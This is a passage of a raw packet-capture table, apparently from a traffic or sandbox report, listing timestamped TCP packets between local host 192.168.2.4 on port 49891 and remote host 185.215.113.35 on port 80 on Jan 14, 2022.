Jan 14, 2022 09:26:03.799778938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.799930096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.799945116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.800107002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.800122976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.800288916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.800302982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.800470114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.800488949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.800658941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.800676107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.800843954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.800860882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.801011086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.801028013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.801184893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.801203966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.801356077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.801373005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.801529884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.801543951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.801706076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.801723003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.801892042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.801908016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.802073956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.802090883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.802248001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.802265882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.802423000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.802437067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.802598953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.802617073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.802772045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.802788019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.802956104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.802973986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.803369999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.803668022 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.804147959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.804349899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.804366112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.804553986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.804572105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.804728031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.804740906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.804930925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.804949999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.805121899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.805138111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.805315018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.805329084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.805510998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.805643082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.805659056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.805828094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.805845022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.806114912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.806269884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.806469917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.806483984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.806638002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.806655884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.806828976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.806843996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.807001114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.807018042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.807192087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.807209015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.807382107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.807391882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.830764055 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.830811977 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.830851078 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.830883026 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.830909014 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.830940008 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.830966949 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.830997944 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.831037045 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.831073046 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.831109047 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.831146002 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.831182957 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.831222057 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.847228050 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.865830898 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.866223097 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.866396904 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.867398977 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.867944002 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.890839100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.891217947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.891236067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.891442060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.891457081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.891681910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.891700029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.891830921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.892026901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.892225027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.892417908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.892663002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.892913103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.892930031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.893155098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.893168926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.893321037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.893440962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.896797895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.897764921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.897784948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.897953033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.897968054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.898127079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.898144007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.898298979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.898317099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.898473024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.898487091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.898650885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.898669004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.898822069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.898838997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.898991108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.899007082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.899183035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.899224997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.899338007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.899353981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.899506092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.899519920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.899658918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.899674892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.899823904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.899858952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.899988890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.900006056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.900149107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.900182962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.900310040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.900326967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.900473118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.900486946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.900645018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.900662899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.900742054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.900904894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.901001930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.901110888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.901217937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.901364088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.901380062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.901521921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.901537895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.901680946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.901698112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.901842117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.901855946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.902018070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.902028084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.902221918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.902240038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.902312040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.902462959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.902479887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.902556896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.902712107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.902821064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.902827978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.902988911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.903006077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.903219938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.903237104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.903419971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.903438091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.903594971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.903614044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.903778076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.903795004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.903958082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.903975010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.904145956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.904160023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.904321909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.904337883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.904505014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.904519081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.904685020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.904697895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.904866934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.904879093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.905042887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.905057907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.905256987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.909518003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.909677029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.909811974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.909933090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.910065889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.910233021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.910248995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.910398960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.910415888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.910582066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.910597086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.910748005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.910763979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.910919905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.910934925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.911092997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.911108971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.911200047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.911382914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.911398888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.911513090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.911662102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.911679029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.911834002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.911849022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.912002087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.912018061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.912174940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.912192106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.912337065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.912353039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.912671089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.912687063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.912837029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.912853956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.913008928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.913022995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.913182974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.913214922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.913347006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.913451910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.913469076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.913646936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.913665056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.915674925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.915854931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.915873051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.915987015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.916059971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.916222095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.916239023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.916383028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.916580915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.916599035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.916712046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.916893005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.916909933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.917067051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.917083025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.917229891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.917242050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.917406082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.917423964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.917562008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.917578936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.917746067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.917766094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.918114901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.918363094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.918380022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.918868065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.919034958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.919195890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.919289112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.919634104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.919763088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.920057058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.920255899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.957499027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.957679033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.957689047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.957799911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.957931995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.957953930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.958121061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.958137989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.958297968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.958318949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.958472013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.958489895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.958651066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.958668947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.958833933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.958853006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.959016085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.959033012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.959197044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.959212065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.959769964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.959785938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.959934950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.959953070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.960098028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.960112095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.960263014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.960280895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.960477114 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.960525990 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.960561037 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.960588932 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.962326050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.964477062 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.964523077 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.964677095 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.964709044 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.964735985 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.965173960 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.969510078 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.969538927 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.978620052 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.978663921 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.982728958 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.983315945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.983465910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.983573914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.983707905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.983787060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.983903885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.983990908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.984139919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.984297037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.984380007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.984394073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.985121965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.985140085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.985263109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.985367060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.985450029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.985682011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.985698938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.985855103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.985867977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.986022949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.986040115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.986129045 CET	49891	80	192.168.2.4	185.215.113.35
